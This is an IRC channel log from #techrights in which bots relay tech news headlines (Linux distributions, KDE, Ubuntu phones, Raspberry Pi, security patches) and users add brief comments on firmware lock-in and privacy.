-TechrightsBot-tr/#techrights-news.softpedia.com | KDE Frameworks 5.8.0 Officially Released with Support for Qt 5.5 - SoftpediaMar 14 05:40
TweetTuxMachines........................................  http://ur1.ca/jwmcyMar 14 05:40
TweetTuxMachines@tuxmachines     Chromebook Pixel, the Rolls-Royce ofMar 14 05:40
TweetTuxMachines                 Chromebooks, is getting a refreshMar 14 05:40
TweetTuxMachines                 http://t.co/R7JVqUereQ (www.zdnet.com)Mar 14 05:40
TweetTuxMachines........................................  http://ur1.ca/jwmczMar 14 05:40
-TechrightsBot-tr/#techrights-www.zdnet.com | ​Chromebook Pixel, the Rolls-Royce of Chromebooks, is getting a refresh | ZDNetMar 14 05:40
TweetTuxMachines@tuxmachines     German Greens ask Foreign Affairs to amend wayMar 14 05:40
TweetTuxMachines                 http://t.co/5hPou6BIo2 (www.tuxmachines.org)Mar 14 05:40
TweetTuxMachines........................................  http://ur1.ca/jwmd0Mar 14 05:40
-TechrightsBot-tr/#techrights-www.tuxmachines.org | German Greens ask Foreign Affairs to amend way | Tux MachinesMar 14 05:40
TweetTuxMachines@tuxmachines     Huawei unveils its first smartwatch, runningMar 14 05:54
TweetTuxMachines                 Android Wear, plus Bluetooth fitness bandMar 14 05:54
TweetTuxMachines                 http://t.co/oVaB8cw3co (www.zdnet.com)Mar 14 05:54
TweetTuxMachines........................................  http://ur1.ca/jwmf8Mar 14 05:54
-TechrightsBot-tr/#techrights-www.zdnet.com | Huawei unveils its first smartwatch, running Android Wear, plus Bluetooth fitness band | ZDNetMar 14 05:54
TweetTuxMachines@tuxmachines     How a Chinese smartwatch became the surpriseMar 14 05:54
TweetTuxMachines                 hit of Mobile World Congress Mar 14 05:54
TweetTuxMachines                 http://t.co/kxJQh4dKPw (www.theverge.com)Mar 14 05:54
TweetTuxMachines........................................  http://ur1.ca/jwmf9Mar 14 05:54
-TechrightsBot-tr/#techrights-www.theverge.com | How a Chinese smartwatch became the surprise hit of Mobile World Congress | The VergeMar 14 05:54
TweetTuxMachines@tuxmachines     Raspberry Pi 2: Raspbian (ARMv6) v LinaroMar 14 05:54
TweetTuxMachines                 (ARMv7) - Benchmarking http://t.co/nhtaYIFeYpMar 14 05:54
TweetTuxMachines                 (www.linuxlinks.com)Mar 14 05:54
TweetTuxMachines........................................  http://ur1.ca/jwmfaMar 14 05:54
-TechrightsBot-tr/#techrights-www.linuxlinks.com | Raspberry Pi 2: Raspbian (ARMv6) v Linaro (ARMv7) - Benchmarking - Linux Links - The Linux Portal SiteMar 14 05:54
TweetTuxMachines@tuxmachines     Apache HTTP Server Vulnerabilities Closed inMar 14 06:03
TweetTuxMachines                 All Supported Ubuntu SystemsMar 14 06:03
TweetTuxMachines                 http://t.co/YG3EZZdSc9 (linux.softpedia.com)Mar 14 06:03
TweetTuxMachines........................................  http://ur1.ca/jwmgrMar 14 06:03
-TechrightsBot-tr/#techrights-linux.softpedia.com | Apache HTTP Server Vulnerabilities Closed in All Supported Ubuntu Systems - SoftpediaMar 14 06:03
TweetTuxMachines@tuxmachines     Ubuntu OSes Patched Against eCryptfsMar 14 06:03
TweetTuxMachines                 Vulnerability http://t.co/hX7klSXi9EMar 14 06:03
TweetTuxMachines                 (linux.softpedia.com)Mar 14 06:03
-TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu OSes Patched Against eCryptfs Vulnerability - SoftpediaMar 14 06:03
TweetTuxMachines........................................  http://ur1.ca/jwmgsMar 14 06:03
TweetTuxMachines@tuxmachines     Linux Kernel 3.18.9 Is Now an LTS (Long-TermMar 14 06:04
TweetTuxMachines                 Support) Release http://t.co/lUK3gQkKt6Mar 14 06:04
TweetTuxMachines                 (news.softpedia.com)Mar 14 06:04
TweetTuxMachines........................................  http://ur1.ca/jwmgtMar 14 06:04
-TechrightsBot-tr/#techrights-news.softpedia.com | Linux Kernel 3.18.9 Is Now an LTS (Long-Term Support) Release - SoftpediaMar 14 06:04
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TweetTuxMachines@tuxmachines     Linux Journey stories http://t.co/QWeD0kmcg1Mar 14 06:17
TweetTuxMachines                 (www.tecmint.com) http://t.co/XCwxDFEwc5Mar 14 06:17
TweetTuxMachines                 (www.tecmint.com) http://t.co/9eGBvvEm9jMar 14 06:17
TweetTuxMachines                 (www.tecmint.com) http://t.co/SHmgsSJFzBMar 14 06:17
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #5: Linux Journey of Mr. Stuart J MackintoshMar 14 06:17
TweetTuxMachines                 (www.tecmint.com) http://t.co/3PBitg38SwMar 14 06:17
TweetTuxMachines                 (www.tecmint.com)Mar 14 06:17
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #4: Linux Journey of Mr. Berkley StarksMar 14 06:17
TweetTuxMachines........................................  http://ur1.ca/jwmj5Mar 14 06:17
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #3: Linux Journey of Mr. Ahmad AdnanMar 14 06:17
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #2: Dr. S P Bhatnagar's Linux JourneyMar 14 06:17
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #1: Usman Malik's Linux Journey So FarMar 14 06:17
TweetTuxMachines@tuxmachines     Huawei unveils its first smartwatch, runningMar 14 06:18
TweetTuxMachines                 Android Wear, plus Bluetooth fitness bandMar 14 06:18
TweetTuxMachines                 http://t.co/xHuDLyBkkD (www.tuxmachines.org)Mar 14 06:18
TweetTuxMachines........................................  http://ur1.ca/jwmj6Mar 14 06:18
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Huawei unveils its first smartwatch, running Android Wear, plus Bluetooth fitness band | Tux MachinesMar 14 06:18
TweetTuxMachines@tuxmachines     Raspberry Pi 2: Raspbian (ARMv6) v LinaroMar 14 06:18
TweetTuxMachines                 (ARMv7) - Benchmarking http://t.co/KxFaaPx7FcMar 14 06:18
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 06:18
TweetTuxMachines........................................  http://ur1.ca/jwmj7Mar 14 06:18
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Raspberry Pi 2: Raspbian (ARMv6) v Linaro (ARMv7) - Benchmarking | Tux MachinesMar 14 06:18
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schestowitzhttp://www.zdnet.com/article/google-apps-flaw-exposes-whois-data-for-280000-domains/Mar 14 06:55
-TechrightsBot-tr/#techrights-www.zdnet.com | Google Apps flaw exposes WHOIS data for 280,000 domains | ZDNet [ http://ur1.ca/jwmo1 ]Mar 14 06:55
TweetTuxMachines@tuxmachines     Linux Kernel 3.18.9 Is Now an LTS (Long-TermMar 14 06:59
TweetTuxMachines                 Support) Release http://t.co/fSRXDmKvOPMar 14 06:59
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 06:59
TweetTuxMachines........................................  http://ur1.ca/jwmolMar 14 06:59
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Kernel 3.18.9 Is Now an LTS (Long-Term Support) Release | Tux MachinesMar 14 06:59
TweetTuxMachines@tuxmachines     Personal Linux Stories and Best Distros forMar 14 06:59
TweetTuxMachines                 Newbies http://t.co/B8CdVnSMJBMar 14 06:59
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 06:59
TweetTuxMachines........................................  http://ur1.ca/jwmomMar 14 06:59
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Personal Linux Stories and Best Distros for Newbies | Tux MachinesMar 14 06:59
TweetTuxMachines@tuxmachines     New Joomla release warrants second look for CMSMar 14 06:59
TweetTuxMachines                 deployments http://t.co/BCHqLqRwXoMar 14 06:59
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 06:59
TweetTuxMachines........................................  http://ur1.ca/jwmonMar 14 06:59
-TechrightsBot-tr/#techrights-www.tuxmachines.org | New Joomla release warrants second look for CMS deployments | Tux MachinesMar 14 06:59
TweetTuxMachines@tuxmachines     Raspberry Pi 2 review - the Pi you didn't knowMar 14 07:13
TweetTuxMachines                 you wanted http://t.co/C2vmxWl7wUMar 14 07:13
TweetTuxMachines                 (www.pcpro.co.uk)Mar 14 07:13
TweetTuxMachines........................................  http://ur1.ca/jwmqyMar 14 07:13
-TechrightsBot-tr/#techrights-www.pcpro.co.uk | Raspberry Pi 2 review - the Pi you didn't know you wanted | PC ProMar 14 07:13
TweetTuxMachines@tuxmachines     Raspberry Pi celebrates hugely successful 3Mar 14 07:13
TweetTuxMachines                 years http://t.co/NgvbaDrvzMMar 14 07:13
TweetTuxMachines                 (www.itproportal.com) "super-affordable ARMMar 14 07:13
TweetTuxMachines                 GNU/Linux computer"Mar 14 07:13
-TechrightsBot-tr/#techrights-www.itproportal.com | Raspberry Pi celebrates hugely successful 3 years | ITProPortal.comMar 14 07:13
TweetTuxMachines........................................  http://ur1.ca/jwmqzMar 14 07:13
*TweetTuxMachines @gagalago favourited 'Raspberry Pi celebrates hugely successful 3 years http://t.co/NgvbaDrvzM...'Mar 14 07:39
TweetTuxMachines@tuxmachines     Can We Really Trust Linux? Mar 14 07:39
TweetTuxMachines                 http://t.co/SYZEf4HzbU (www.makeuseof.com)Mar 14 07:39
TweetTuxMachines........................................  http://ur1.ca/jwmutMar 14 07:39
-TechrightsBot-tr/#techrights-www.makeuseof.com | Can We Really Trust Linux?Mar 14 07:39
TweetTuxMachines@tuxmachines     First impressions of Korora 21Mar 14 07:39
TweetTuxMachines                 http://t.co/bpZwk4cLTX (distrowatch.com)Mar 14 07:39
TweetTuxMachines........................................  http://ur1.ca/jwmuvMar 14 07:39
-TechrightsBot-tr/#techrights-distrowatch.com | DistroWatch.com: Put the fun back into computing. Use Linux, BSD.Mar 14 07:39
TweetTuxMachines@tuxmachines     First look at Sabayon 15.02Mar 14 07:40
TweetTuxMachines                 http://t.co/ujqqd2fza4 (distrowatch.com)Mar 14 07:40
TweetTuxMachines........................................  http://ur1.ca/jwmuwMar 14 07:40
-TechrightsBot-tr/#techrights-distrowatch.com | DistroWatch.com: Put the fun back into computing. Use Linux, BSD.Mar 14 07:40
TweetTuxMachines@tuxmachines     MK80 Linux Edition is an octa-core Ubuntu miniMar 14 07:42
TweetTuxMachines                 PC http://t.co/QpTeQI6mlp (liliputing.com)Mar 14 07:42
TweetTuxMachines........................................  http://ur1.ca/jwmv1Mar 14 07:42
-TechrightsBot-tr/#techrights-liliputing.com | MK80 Linux Edition is an octa-core Ubuntu mini PC - LiliputingMar 14 07:42
TweetTuxMachines@tuxmachines     Ubuntu finally comes to phones, but don'tMar 14 07:42
TweetTuxMachines                 expect major retail sales push for at least 12Mar 14 07:42
TweetTuxMachines                 months  http://t.co/eifADNwjuEMar 14 07:42
TweetTuxMachines                 (www.fiercewireless.com)Mar 14 07:42
TweetTuxMachines........................................  http://ur1.ca/jwmv2Mar 14 07:42
-TechrightsBot-tr/#techrights-www.fiercewireless.com | Ubuntu finally comes to phones, but don't expect major retail sales push for at least 12 months - FierceWirelessMar 14 07:42
TweetTuxMachines@8a62f227420e4df  ➡http://t.co/W9182SfFjo (www.linkedin.com) ⬅Mar 14 07:43
TweetTuxMachines                 @dallasinmybedMar 14 07:43
-TechrightsBot-tr/#techrights-www.linkedin.com | NO TITLEMar 14 07:43
TweetTuxMachines                 @tuxmachinesMar 14 07:43
TweetTuxMachines                 @citytwarblerMar 14 07:43
TweetTuxMachines                 @hanifrazitqMar 14 07:43
TweetTuxMachines                 @DeannaDeanna14Mar 14 07:43
TweetTuxMachines                 @HoesGetNo_LoveMar 14 07:43
TweetTuxMachines                 @schestowitzMar 14 07:43
TweetTuxMachines........................................  http://ur1.ca/jwmvaMar 14 07:43
TweetTuxMachines@tuxmachines     Can We Really Trust Linux?Mar 14 07:43
TweetTuxMachines                 http://t.co/JtrBIWt13n (www.tuxmachines.org)Mar 14 07:43
TweetTuxMachines........................................  http://ur1.ca/jwmvcMar 14 07:43
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Can We Really Trust Linux? | Tux MachinesMar 14 07:44
TweetTuxMachines@tuxmachines     First impressions of Korora 21Mar 14 07:44
TweetTuxMachines                 http://t.co/30TDDs4GPJ (www.tuxmachines.org)Mar 14 07:44
TweetTuxMachines........................................  http://ur1.ca/jwmvdMar 14 07:44
-TechrightsBot-tr/#techrights-www.tuxmachines.org | First impressions of Korora 21 | Tux MachinesMar 14 07:44
TweetTuxMachines@tuxmachines     First look at Sabayon 15.02Mar 14 07:44
TweetTuxMachines                 http://t.co/Lp0k1KQ6wk (www.tuxmachines.org)Mar 14 07:44
TweetTuxMachines........................................  http://ur1.ca/jwmveMar 14 07:44
-TechrightsBot-tr/#techrights-www.tuxmachines.org | First look at Sabayon 15.02 | Tux MachinesMar 14 07:44
TweetTuxMachines@tuxmachines     MK80 Linux Edition is an octa-core Ubuntu miniMar 14 07:45
TweetTuxMachines                 PC http://t.co/XG9eXZAC2a (www.tuxmachines.org)Mar 14 07:45
TweetTuxMachines........................................  http://ur1.ca/jwmvmMar 14 07:45
-TechrightsBot-tr/#techrights-www.tuxmachines.org | MK80 Linux Edition is an octa-core Ubuntu mini PC | Tux MachinesMar 14 07:45
TweetTuxMachines@tuxmachines     Ubuntu finally comes to phones, but don'tMar 14 07:45
TweetTuxMachines                 expect major retail sales push for at least 12Mar 14 07:45
TweetTuxMachines                 months http://t.co/0bfWh72taAMar 14 07:45
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 07:45
TweetTuxMachines........................................  http://ur1.ca/jwmvoMar 14 07:45
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Ubuntu finally comes to phones, but don't expect major retail sales push for at least 12 months | Tux MachinesMar 14 07:45
TweetTuxMachines@tuxmachines     LXLE Linux 14.04.1 review - Champagne withoutMar 14 07:46
TweetTuxMachines                 bubbles http://t.co/YLhETILzfqMar 14 07:46
TweetTuxMachines                 (www.dedoimedo.com)Mar 14 07:46
-TechrightsBot-tr/#techrights-www.dedoimedo.com | LXLE Linux 14.04.1 review - Champagne without bubblesMar 14 07:46
TweetTuxMachines........................................  http://ur1.ca/jwmvpMar 14 07:46
TweetTuxMachines@tuxmachines     Plasma is my new favorite desktopMar 14 07:58
TweetTuxMachines                 http://t.co/g6hra1Kmyv (www.ocsmag.com)Mar 14 07:58
TweetTuxMachines........................................  http://ur1.ca/jwmxoMar 14 07:58
-TechrightsBot-tr/#techrights-www.ocsmag.com | Plasma is my new favorite desktop | OCS-MagMar 14 07:58
TweetTuxMachines@tuxmachines     How to Use KDE Plasma Desktop Like a ProMar 14 07:58
TweetTuxMachines                 http://t.co/aQZnOzaHtd (www.linux.com)Mar 14 07:58
TweetTuxMachines........................................  http://ur1.ca/jwmxqMar 14 07:58
-TechrightsBot-tr/#techrights-www.linux.com | How to Use KDE Plasma Desktop Like a Pro | Linux.comMar 14 07:58
TweetTuxMachines@tuxmachines     Hands-on with the Ubuntu MX4, a better class ofMar 14 07:58
TweetTuxMachines                 phone http://t.co/8n17bJqafz (www.htxt.co.za)Mar 14 07:58
TweetTuxMachines........................................  http://ur1.ca/jwmxrMar 14 07:58
-TechrightsBot-tr/#techrights-www.htxt.co.za | [MWC2015] Hands-on with the Ubuntu MX4, a better class of phone - htxt.africaMar 14 07:58
TweetTuxMachines@tuxmachines     The Difference Between Window Managers andMar 14 08:01
TweetTuxMachines                 Desktop Environments http://t.co/3kjSrBWZyhMar 14 08:01
TweetTuxMachines                 (www.maketecheasier.com)Mar 14 08:01
-TechrightsBot-tr/#techrights-www.maketecheasier.com | Window Managers and Desktop Environments: The DifferenceMar 14 08:01
TweetTuxMachines........................................  http://ur1.ca/jwmy7Mar 14 08:01
TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 14 08:02
TweetTuxMachines                 http://t.co/CcQh5mfLGn (www.cbronline.com)Mar 14 08:02
TweetTuxMachines........................................  http://ur1.ca/jwmy8Mar 14 08:02
-TechrightsBot-tr/#techrights-www.cbronline.com | 5 best Linux distros for beginners and newbies - Computer Business ReviewMar 14 08:02
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schestowitzhttps://joindiaspora.com/posts/5757318Mar 14 08:04
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Software that respects #privacy (and often #freesw too) a growing business at sellouts' expense http://www.zdnet.com/article/silent-circle-targets-enterprise-with-world-first-privacy-ecosystem/ http://www.zdnet.com/article/nsa-busting-encryption-app-peerio-puts-privacy-first/Mar 14 08:04
-TechrightsBot-tr/#techrights--> www.zdnet.com | Silent Circle targets enterprise users with 'world first' privacy ecosystem | ZDNet [ http://ur1.ca/jwmyg ]Mar 14 08:04
-TechrightsBot-tr/#techrights--> www.zdnet.com | Meet the free encryption app that promises to put your privacy first | ZDNet [ http://ur1.ca/jwmyh ]Mar 14 08:04
schestowitzhttps://twitter.com/SinedioMD/status/576655044386385920Mar 14 08:06
-TechrightsBot-tr/#techrights-@SinedioMD: @schestowitz @snipeyhead Fedora and Debian for newbies... I don't think so :/Mar 14 08:06
schestowitzDepends how they're configuredMar 14 08:06
schestowitzhttps://twitter.com/snipeyhead/status/576655682985852928Mar 14 08:13
-TechrightsBot-tr/#techrights-@snipeyhead: @schestowitz @SinedioMD the newbies? ;)Mar 14 08:13
TweetTuxMachines@tuxmachines     Watch: Ubuntu at Mobile World Congress 2015Mar 14 08:27
TweetTuxMachines                  http://t.co/QoJTh3W3iV (linux.softpedia.com)Mar 14 08:27
TweetTuxMachines........................................  http://ur1.ca/jwn1dMar 14 08:27
-TechrightsBot-tr/#techrights-linux.softpedia.com | Watch: Ubuntu at Mobile World Congress 2015 - SoftpediaMar 14 08:27
TweetTuxMachines@tuxmachines     LXLE Linux 14.04.1 review - Champagne withoutMar 14 08:27
TweetTuxMachines                 bubbles http://t.co/dINzuFXHJ7Mar 14 08:27
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 08:27
TweetTuxMachines........................................  http://ur1.ca/jwn1eMar 14 08:27
-TechrightsBot-tr/#techrights-www.tuxmachines.org | LXLE Linux 14.04.1 review - Champagne without bubbles | Tux MachinesMar 14 08:27
TweetTuxMachines@tuxmachines     Plasma is my new favorite desktopMar 14 08:27
TweetTuxMachines                 http://t.co/es7gEtRbbh (www.tuxmachines.org)Mar 14 08:27
TweetTuxMachines........................................  http://ur1.ca/jwn1hMar 14 08:27
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Plasma is my new favorite desktop | Tux MachinesMar 14 08:27
schestowitzhttps://twitter.com/eRadical/status/576661045906948097Mar 14 08:29
-TechrightsBot-tr/#techrights-@eRadical: @SinedioMD @schestowitz @snipeyhead yes Fedora. My mother switched from Windows to Fedora without pain.Mar 14 08:29
schestowitzhttps://joindiaspora.com/posts/5751344Mar 14 08:30
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Crowdfund campaign adds signed PDFs to #LibreOffice https://joinup.ec.europa.eu/node/139295 "signatures in PDF documents is now included in LibreOffice"Mar 14 08:30
schestowitz"This is great news! LibreOffice is great and in my opinion would be dominating as the primary office suite if Microsoft didn't have deep pockets and hadn't spent the 90's building it's office monopoly."Mar 14 08:30
-TechrightsBot-tr/#techrights--> joinup.ec.europa.eu | Crowdfund campaign adds signed PDFs to LibreOffice | JoinupMar 14 08:30
schestowitz"That's great to hear!"Mar 14 08:30
schestowitzhttps://joindiaspora.com/posts/5756895Mar 14 08:30
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #Arietta G25 – The latest Embedded Linux Board http://www.open-electronics.org/arietta-g25-the-last-embedded-linux-board/ #linuxMar 14 08:30
schestowitz"How hard would it be to interface this thing to a CAN bus?"Mar 14 08:30
-TechrightsBot-tr/#techrights--> www.open-electronics.org | Arietta G25 – The latest Embedded Linux Board | Open Electronics [ http://ur1.ca/jwn21 ]Mar 14 08:30
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schestowitzhttps://twitter.com/gravax/status/576668751539478528Mar 14 09:00
-TechrightsBot-tr/#techrights-@gravax: "@schestowitz: Consumers unaware that EU rule offers 2-year product guarantee http://t.co/G9cF0qFTki #eu #europe" Now We know... :-)Mar 14 09:00
-TechrightsBot-tr/#techrights--> yle.fi | Consumers unaware that EU rule offers 2-year product guarantee | Yle Uutiset | yle.fiMar 14 09:00
schestowitz> http://webmink.com/2015/03/02/new-job/Mar 14 09:03
-TechrightsBot-tr/#techrights-webmink.com | New Role At WiPro | Wild WebminkMar 14 09:03
schestowitz> Mar 14 09:03
schestowitz> WTFMar 14 09:03
schestowitzThat's OK. They're looking to change. Other firms in India do too.Mar 14 09:03
schestowitz> http://undeadly.org/cgi?action=article&sid=20150303075848&mode=expanded&count=2Mar 14 09:04
-TechrightsBot-tr/#techrights-undeadly.org | Ted Unangst: Improving Browser Security [ http://ur1.ca/jwn6y ]Mar 14 09:04
schestowitz> Mar 14 09:04
schestowitz> sent earlier a link to the message, but this link is probably betterMar 14 09:04
TweetTuxMachines@tuxmachines     Google Code Shutting DownMar 14 09:24
TweetTuxMachines                 http://t.co/2asHOcGhGw (www.tuxmachines.org)Mar 14 09:24
TweetTuxMachines........................................  http://ur1.ca/jwna5Mar 14 09:24
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Google Code Shutting Down | Tux MachinesMar 14 09:24
TweetTuxMachines@tuxmachines     The Difference Between Window Managers andMar 14 09:24
TweetTuxMachines                 Desktop Environments http://t.co/6kPRzA2tiKMar 14 09:24
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 09:24
TweetTuxMachines........................................  http://ur1.ca/jwna7Mar 14 09:24
-TechrightsBot-tr/#techrights-www.tuxmachines.org | The Difference Between Window Managers and Desktop Environments | Tux MachinesMar 14 09:24
TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 14 09:24
TweetTuxMachines                 http://t.co/P8S27puu2F (www.tuxmachines.org)Mar 14 09:24
TweetTuxMachines........................................  http://ur1.ca/jwna8Mar 14 09:24
-TechrightsBot-tr/#techrights-www.tuxmachines.org | 5 best Linux distros for beginners and newbies | Tux MachinesMar 14 09:24
schestowitzhttps://joindiaspora.com/posts/5753186Mar 14 09:45
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #Nokia CEO: We Have To Get Rid Of Net Neutrality, Otherwise Self-Driving Cars Will Keep On Crashing Into Each Other https://www.techdirt.com/blog/netneutrality/articles/20150302/07565730182/nokia-ceo-we-have-to-get-rid-net-neutrality-otherwise-self-driving-cars-will-keep-crashing-into-each-other.shtmlMar 14 09:45
-TechrightsBot-tr/#techrights--> www.techdirt.com | Nokia CEO: We Have To Get Rid Of Net Neutrality, Otherwise Self-Driving Cars Will Keep On Crashing Into Each Other | Techdirt [ http://ur1.ca/jwndo ]Mar 14 09:45
schestowitz"yeah, fuck those sensors, they're only in the way of global google-earth-like realtime surveillance"Mar 14 09:45
schestowitzhttps://joindiaspora.com/posts/5739428Mar 14 09:46
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: My wife has just witnessed two #apple #iphone devices siezed, taken to the back (repsumably for copying), then returned in Frankfurt AirportMar 14 09:46
schestowitz"The idea is fighting for our freedom, but becoming a marthyr that nobody appreciates is of no use. If people starts traveling with no electronics or factory-reset ones they might get the message and people will lose nothing. And if you really want to do something you can press and even go to court, but better doing that in a good moment rather than while on transit back to home."Mar 14 09:46
schestowitzTrue, and sad...Mar 14 09:47
schestowitzhttps://joindiaspora.com/posts/5740809Mar 14 09:48
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: How #Intel and PC makers prevent you from modifying your laptop's firmware http://denisyegonmaina.blogspot.ca/2015/03/how-intel-and-pc-makers-prevent-you.html avoid #x86Mar 14 09:48
-TechrightsBot-tr/#techrights--> denisyegonmaina.blogspot.ca | my tecnews: How Intel and PC makers prevent you from modifying your laptop's firmware [ http://ur1.ca/ju4k4 ]Mar 14 09:48
schestowitz"Mar 14 09:48
schestowitz"Intel and Boot Guard don’t absolutely require hardware manufacturers to lock the computer to only using manufacturer-signed firmware, but every major PC maker does anyway. "Mar 14 09:48
schestowitzTime to stop buying from major PC makers? My last PC was a white box AMD from a local retailer and my next one very likely will be the same.Mar 14 09:48
schestowitz"Mar 14 09:48
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cubexyzthe firmware situation is mostly improving... since we have Lemote, Thinkpad X60, chromebooks/boxes, etcMar 14 09:56
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TweetTuxMachines@tuxmachines     "Jolla is working with partners to bring aMar 14 10:34
TweetTuxMachines                 toughened version of its Sailfish OS to a rangeMar 14 10:34
TweetTuxMachines                 of hardware."  http://t.co/fpdWqrIiLqMar 14 10:34
TweetTuxMachines                 (www.theinquirer.net)Mar 14 10:34
TweetTuxMachines........................................  http://ur1.ca/jwnjtMar 14 10:34
-TechrightsBot-tr/#techrights-www.theinquirer.net | MWC: Jolla pitches Sailfish Secure OS as Europe's only safe mobile option- The InquirerMar 14 10:34
TweetTuxMachines@tuxmachines     Login screen in Fedora 22 Workstation usesMar 14 10:34
TweetTuxMachines                 Wayland  http://t.co/NYXzlVVfHiMar 14 10:34
TweetTuxMachines                 (fedoramagazine.org)Mar 14 10:34
TweetTuxMachines........................................  http://ur1.ca/jwnjuMar 14 10:34
-TechrightsBot-tr/#techrights-fedoramagazine.org | Login screen in Fedora 22 Workstation uses Wayland | Fedora MagazineMar 14 10:34
*TweetTuxMachines @miniputing favourited 'Can We Really Trust Linux? http://t.co/SYZEf4HzbU'Mar 14 11:10
*TweetTuxMachines @miniputing favourited 'Raspberry Pi 2: Raspbian (ARMv6) v Linaro (ARMv7)...'Mar 14 11:10
-TechrightsBot-tr/#techrights-www.makeuseof.com | Can We Really Trust Linux?Mar 14 11:10
XRevan86uBlock for Firefox for Android released o_0.Mar 14 11:34
XRevan86also I see it's named uBlock now instead of µBlockMar 14 11:35
TweetTuxMachines@tuxmachines     Testing Started for Linux Mint Debian Edition,Mar 14 11:39
TweetTuxMachines                 Systemd Implementation Not Decided YetMar 14 11:39
TweetTuxMachines                 http://t.co/vJz9DRe8M0 (news.softpedia.com)Mar 14 11:39
TweetTuxMachines........................................  http://ur1.ca/jwnsqMar 14 11:39
-TechrightsBot-tr/#techrights-news.softpedia.com | Testing Started for Linux Mint Debian Edition, Systemd Implementation Not Decided Yet - SoftpediaMar 14 11:39
TweetTuxMachines@tuxmachines     Finally Kde Plasma 5.2 on my Arch LinuxMar 14 11:39
TweetTuxMachines                 http://t.co/DG8WNVAQWs (fasterland.net)Mar 14 11:39
TweetTuxMachines........................................  http://ur1.ca/jwnsrMar 14 11:39
-TechrightsBot-tr/#techrights-fasterland.net | Finally Kde Plasma 5.2 on my Arch Linux - FasterlandMar 14 11:39
TweetTuxMachines@tuxmachines     GNOME’s Mutter Window and Compositing ManagerMar 14 11:39
TweetTuxMachines                 Updates Wayland SupportMar 14 11:39
TweetTuxMachines                  http://t.co/e7mrnSuO4s (linux.softpedia.com)Mar 14 11:39
TweetTuxMachines........................................  http://ur1.ca/jwnsvMar 14 11:39
-TechrightsBot-tr/#techrights-linux.softpedia.com | GNOME’s Mutter Window and Compositing Manager Updates Wayland Support - SoftpediaMar 14 11:39
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TweetTuxMachines@tuxmachines     GNOME Photos Gets a Bugfix Update, Just in TimeMar 14 14:56
TweetTuxMachines                 for GNOME 3.16 http://t.co/0xZiHjbs8bMar 14 14:56
TweetTuxMachines                 (linux.softpedia.com)Mar 14 14:56
-TechrightsBot-tr/#techrights-linux.softpedia.com | GNOME Photos Gets a Bugfix Update, Just in Time for GNOME 3.16 - SoftpediaMar 14 14:56
TweetTuxMachines........................................  http://ur1.ca/jwotyMar 14 14:56
TweetTuxMachines@tuxmachines     Links 14/2/2015: End of Google Code, Split ofMar 14 14:56
TweetTuxMachines                 Google+ http://t.co/dkcYcJD7kb (techrights.org)Mar 14 14:56
TweetTuxMachines........................................  http://ur1.ca/jwou0Mar 14 14:56
-TechrightsBot-tr/#techrights-techrights.org | Links 14/2/2015: End of Google Code, Split of Google+ | TechrightsMar 14 14:57
TweetTuxMachines@tuxmachines     Week in Techrights http://t.co/9DSFNqfffZMar 14 15:07
TweetTuxMachines                 (www.tuxmachines.org) still catching up, fullMar 14 15:07
TweetTuxMachines                 articles coming upMar 14 15:07
TweetTuxMachines........................................  http://ur1.ca/jwowxMar 14 15:07
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Week in Techrights | Tux MachinesMar 14 15:07
MinceRgeekingsMar 14 15:07
TweetTuxMachines@tuxmachines     "many AAA game titles were confirmed to come toMar 14 15:07
TweetTuxMachines                 Linux/SteamOS in this year."Mar 14 15:07
TweetTuxMachines                 http://t.co/XANTgyEmCj (opensource.com)Mar 14 15:07
TweetTuxMachines........................................  http://ur1.ca/jwox1Mar 14 15:07
-TechrightsBot-tr/#techrights-opensource.com | Open gaming news from this year's Game Developers Conference | Opensource.comMar 14 15:07
TweetTuxMachines@tuxmachines     Puppy Linux-Based Quirky Distribution ReachesMar 14 15:07
TweetTuxMachines                 Version 7.0, Dubbed April - GalleryMar 14 15:07
TweetTuxMachines                 http://t.co/fLmpUCgRJn (news.softpedia.com)Mar 14 15:07
TweetTuxMachines........................................  http://ur1.ca/jwox2Mar 14 15:07
-TechrightsBot-tr/#techrights-news.softpedia.com | Puppy Linux-Based Quirky Distribution Reaches Version 7.0, Dubbed April - Gallery - SoftpediaMar 14 15:07
TweetTuxMachines@tuxmachines     The Tremendous Features Of Fedora 22Mar 14 15:15
TweetTuxMachines                 http://t.co/9vKZEqTze3 (www.phoronix.com)Mar 14 15:15
TweetTuxMachines........................................  http://ur1.ca/jwoygMar 14 15:15
-TechrightsBot-tr/#techrights-www.phoronix.com | The Tremendous Features Of Fedora 22 - PhoronixMar 14 15:16
TweetTuxMachines@tuxmachines     Hands-on reviews of Ubuntu phonesMar 14 15:16
TweetTuxMachines                 http://t.co/9vhklTI2TW (www.bbc.com)Mar 14 15:16
TweetTuxMachines                 http://t.co/HiBALhmf79 (www.omgubuntu.co.uk)Mar 14 15:16
TweetTuxMachines                 http://t.co/n9OF7oFOJE (www.phonearena.com)Mar 14 15:16
